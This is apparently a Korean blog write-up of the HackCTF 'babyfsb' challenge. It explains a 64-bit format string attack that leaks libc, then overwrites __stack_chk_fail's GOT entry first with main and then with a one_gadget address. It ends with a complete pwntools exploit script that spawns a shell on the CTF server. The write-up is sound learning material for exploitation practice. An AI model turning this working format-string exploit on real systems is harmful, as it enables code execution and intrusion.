jw security 블로그의 64bit FSB 글을 참고하면서 풀었다.
# checksec
# process
V5변수가 rbp-8에 위치한 것으로 보아 canary임을 알 수 있다.
AAAAAAAA가 6번째에 출력된다. 즉, 스택값이 6번째부터 들어있는 것이다.
Offset은 6이 된다.
Canary가 있을 경우 프로그램 종료 전 __stack_chk_fail 함수가 호출된다고 한다.
이 함수의 GOT를 변조하면 된다.
1. libc leak
libc leak을 위해 libc_start_main+240이 출력되는 위치와 스택이 출력되기 시작하는 위치와의 offset을 구해야 한다.
offset은 15가 된다.
libcbase offset은 0x20830으로 libc_start_main+240을 구하고나면 이 offset으로 libcBase를 구할 수 있다.
2. main으로 리턴
Canary가 있을 경우 프로그램 종료 전 __stack_chk_fail 함수가 호출되므로
이 함수의 GOT를 main함수 주소로 변조해 main으로 리턴한다.
# How?
64bit에서 PIE가 안 걸려있으면 main함수 주소는 base가 0x400000인 3byte주소이다.
한 번도 호출된 적 없는 함수의 GOT는 7f로 시작하는 6byte 주소가 아닌 0x40으로 시작하는 3byte주소가 적혀있다.
호출된 적 있는 함수의 got를 main으로 바꾸려면 총 6바이트를 덮어서 상위의 7f부분을 0으로 바꿔줘야 하지만, 호출된 적 없는 함수의 got를 덮을 땐 2byte만 바꾸면 된다.
이 바이너리의 경우 PIE가 걸려있지 않으므로 main함수 주소는 base가 0x400000인 3byte 주소이다.
3바이트 주소를 덮는 경우 2바이트만 덮으면 되므로 %hn으로 코드를 짠다.
__stack_chk_fail 함수 GOT 확인 (덮으려는 GOT주소)
다행히 __stack_chk_fail 함수 GOT는 호출된 적이 없는지 0x40으로 시작하는 주소가 적혀있다.
따라서 하위 2바이트만 main함수 주소로 바꾸면 된다.
(다시 입력받기 위해. 처음은 libc leak과 canary leak에 사용함)
이때는 0xFFFF와 AND연산한 결과를 넣는다. (하위 2바이트만 구하기 위해)
fsb payload를 작성할 때
Got 주소는 16글자 입력한 후에 나오므로 offset은 6 + (16/8) = 8이다.
이 payload를 보내고 나면 libc leak과 stack_chk_fail_got가 main으로 덮힌 상태이다.
__stack_chk_fail을 덮고 나서 원하는 함수로 뛰려면 stack smashing을 일으켜야 한다고 한다.
따라서 첫 번째 payload 전달 시 0x40-len(pay)로 canary를 덮어서 stack smashing을 일으켰더니 main함수로 뛸 수 있었다.
3. __stack_chk_fail@got를 one_gadget으로 overwrite
-one_gadget 자르기, %??$hn의 각각 low, middle, high에 대한 3개의 ?? 값 구하기
다시 main으로 리턴된 후 __stack_chk_fail가 사용됐어서 0x7f가 적혀있으므로 one_gadget으로 변조하기 위해 총 6바이트를 덮어야 한다.
payload 길이를 출력해보면 got전까지 길이가 40이므로 6 + 40/8 = 11이 첫 번째 low의 %??$hn의 ??에 들어가면 된다.
그 다음은 1씩 더해서 각각 middle, high의 %??$hn의 ??에 넣는다.
# exploit code
#!/usr/bin/python
from pwn import *
#p = process("./babyfsb")
p = remote("ctf.j0n9hyun.xyz", 3032)
libc = ELF("./libc.so.6")
elf = ELF("./babyfsb")
main = 0x4006a6
main_low = main & 0xFFFF
stack_chk_fail_got = 0x601020
# libc leak, stack_chk_fail_got->main
pay = '%{}c'.format(main_low)
pay += '%8$hn' # 6 + (16/8) = 8
pay += '%15$p'
pay += p64(stack_chk_fail_got)
pay += 'A'*(0x40-len(pay))
#gdb.attach(p)
p.sendafter("\n", pay)
p.recvuntil("0x")
libc_start_main = int(p.recv(12), 16)
log.info("libc_start_main: "+hex(libc_start_main))
libcBase = libc_start_main - 0x20830
log.info("libcbBase : "+hex(libcBase))
one_gadget = libcBase + 0x45216
log.info("one_gadget : "+hex(one_gadget))
low = one_gadget & 0xFFFF
middle = (one_gadget >> 16) & 0xFFFF
high = (one_gadget >> 32) & 0xFFFF
#log.info("one_gadget_low : "+hex(low))
#log.info("one_gadget_middle : "+hex(middle))
#log.info("one_gadget_high : "+hex(high))
if middle > low:
m = middle - low
else:
m = 0x10000 + middle - low
if high > middle:
h = high - middle
else:
h = 0x10000 + high - middle
pay = '%{}c'.format(low)
pay += '%11$hn' # 6 + 40/8 = 11
pay += '%{}c'.format(m)
pay += '%12$hn'
pay += '%{}c'.format(h)
pay += '%13$hn'
pay += 'A'*(8 - len(pay)%8) #padding
#print len(pay)
pay += p64(stack_chk_fail_got)
pay += p64(stack_chk_fail_got+2)
pay += p64(stack_chk_fail_got+4)
p.sendafter("hello\n", pay)
p.interactive()
# exploit
[HackCTF] Unexploitable #4 (0) | 2020.04.20 |
---|---|
[HackCTF] Unexploitable #3 (0) | 2020.04.20 |
[HackCTF] j0n9hyun's secret (0) | 2020.03.25 |
[HackCTF] Welcome_REV (Reversing) (0) | 2020.03.09 |
[HackCTF] World best encryption tool (0) | 2020.03.09 |